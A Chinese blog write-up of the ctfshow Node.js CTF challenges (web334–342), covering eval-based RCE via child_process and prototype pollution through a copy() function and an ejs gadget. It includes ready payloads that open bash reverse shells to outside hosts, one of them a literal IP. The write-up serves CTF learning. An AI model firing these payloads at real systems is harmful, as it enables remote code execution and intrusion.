ctfshow nodejs专题


拖更,估计年后了,假期不做题嘿嘿。讲真,生产队的驴都不敢这么出题。。。一个假期一百多道

web334

源码可以得知账户名与密码,但是login.js出现了这一句return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;,那么账户名填小写的ctfshow即可

web335

源码提示eval,搜索nodejs的rce可以知道使用了child_process(子进程),创建同步进程进行rce

pl:?eval=require('child_process').execSync('cat f*')

web336

过滤了exec,还有一个同步子进程的函数

?eval=require('child_process').spawnSync('cat', ['fl001g.txt']).stdout.toString()

web337

给了源码,类似php的弱类型,数组绕
?a[a]=1&b[b]=2

web338

简单的原型链污染,不知得为啥我当时看不懂。。。参考文章:继承与原型链,可以说是非常详细了,还有狼组的例题:nodejs原型链污染

login.js里面出现了 utils.copy(user,req.body); 这就是原型链污染的地方

需要用 bp,hackbar不晓得为啥不行 payload:{"username":"a","password":"a","__proto__":{"ctfshow":"36dboy"}}

image-20210922111248618

web339

本节推荐阅读:深入理解 JavaScript Prototype 污染攻击

《简单的原型链污染》

这次 login.js 改了 if(secert.ctfshow===flag,不知得 flag 的值,不能直接污染,但是多了一个 app.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  /* 自调用函数,应该会有 rce 吧 嘿嘿嘿 */
  res.render('api', { query: Function(query)(query)});

});

module.exports = router;

其实原理和上一题差不多,通过 login.js 里的 utils.copy(user,req.body); 污染原型,然后访问 api 的时候由于 query未定义,所以会向其原型找,那么通过污染原型构造恶意代码即可rce

具体怎么污染呢?其实还是通过 copy() 污染到 Object来看一个 demo


function copy(object1, object2){
   for (let key in object2) {
       if (key in object2 && key in object1) {
           copy(object1[key], object2[key])
       } else {
           object1[key] = object2[key]
       }
   }
 }
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);

运行可以发现,query 有了一个值

image-20210922155233285

那么在登陆时也传入一个 "__proto__" 也可以污染其原型(Object),这里推荐 反弹 shell,因为原型污染以后 login.js 就不能正常运行了,原因下面再说。先看一下我的 payload:return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\"')

师傅们的payload:{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/2333 0>&1\"')"}}

这里也推荐反弹shell时使用上面这两种,因为有时候脚本内不一定有 require,使用上面两种无需关心脚本内是否有 require

反弹shell了后面想干嘛干嘛了嘿嘿嘿

image-20210922161030781

下面说一下为什么只能污染一次,再次正常访问就500

P神的那篇文章 评论里提到了 一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。这将导致一些正常的业务出现bug,那为什么本题污染后脚本不能正常执行了呢?本地调试看看

首先污染原型链

image-20210922161409086

访问 api看是否污染成功

image-20210922161436790

接着再次 post login.js,500了

image-20210922161500763

utils.copy(user,req.body);打上断跟进去,堆栈一共三次 copy()

第一次key是 "__proto__";第二次key是"query";第三次出错了,key是'0',object变成污染后的值了,不再是键值对!,所以在经过 if (key in object2 && key in object1) 判断时报错了

image-20210922161936415

web340

《《简单的原型链污染》》

和上一题差不多,这个要污染两次

image-20210922171600634

payload:{"__proto__":{"__proto__":{"query":"return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/1.15.64.189/2333 0>&1\"')"}}}

web341

《不会的原型链污染》

参考:ctfshow nodejs篇Express+lodash+ejs: 从原型链污染到RCE

tari 师傅提供了一个很好的工具: snyk,它可以很好地检测项目存在的漏洞,尤其是带有 package.json

image-20210922173959425

这里就扫出了 ejs rce,第二篇文章就是其原理(大师傅还是牛啊,一大堆的 js 里面藏这么深都能找到漏洞 tttttqqqqqql 膜一下)

直接上 payload:{"__proto__":{"__proto__":{"outputFunctionName":"a; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\"'); //"}}}

web342

好多js啊~,不想分析,也打不通,环境问题吗(我不管,反正不是我的锅)


文章作者: yq1ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yq1ng !
评论
 上一篇
ctfshow SSTI专题 ctfshow SSTI专题
下午考试(21-01-04), 随便写写,托更了,明年见,本篇wp不建议观看,移步别的大佬那里吧嘻嘻 力荐yu22x师傅的文章:https://blog.csdn.net/miuzzx/article/details/112168039,因
下一篇 
ctfshow SSRF专题 ctfshow SSRF专题
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请
  目录